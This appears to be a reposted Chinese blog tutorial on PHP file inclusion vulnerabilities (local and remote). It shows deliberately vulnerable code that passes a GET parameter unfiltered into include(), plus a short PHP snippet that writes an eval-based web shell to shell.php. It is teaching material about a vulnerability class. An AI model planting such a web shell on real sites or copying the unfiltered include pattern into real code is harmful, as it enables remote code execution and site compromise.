• 文件包含


    文件包含函数

    (1)require():跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
    (2)include():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
    (3)require_once():只包含一次
    (4)include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    (1)示例代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    $_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘filename’]的值,执行非预期的操作。

    无限制本地文件包含漏洞

    <?php
    $payload = "<?php @eval($_POST['wade']);?>";
    $myfile = fopen("shell.php","w") or die("Unable");
    fwrite($myfile,$payload);
    fclose($myfile);
    ?>

    远程文件包含

    PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

    allow_url_fopen = On(是否允许打开远程文件)
    allow_url_include = On(是否允许include/require远程文件)

    无限制远程文件包含漏洞

    测试代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    通过远程文件包含漏洞,包含php.txt可以解析。

    有限制远程文件包含漏洞绕过


    <?php include($_GET['filename'] . ".html"); ?>

  • 相关阅读:
    oracle中视图v$sql的用途
    maven 安装jar包命令
    Maven常见异常及解决方法
    对oracle实例的内存(SGA和PGA)进行调整,优化数据库性
    oracle中lock和latch的用途
    oracle中awr性能报告阅读笔记
    oracle 查看并行sql语句的并行数量和如何开并行
    DBMS_STATS.GATHER_TABLE_STATS详解
    关于加快INSERT语句执行速度和HINT /*+ append */及/*+ append nologging */的使用
    oracle查看表占用磁盘空间
  • 原文地址:https://www.cnblogs.com/ihacker/p/11291208.html
Copyright © 2020-2023  润新知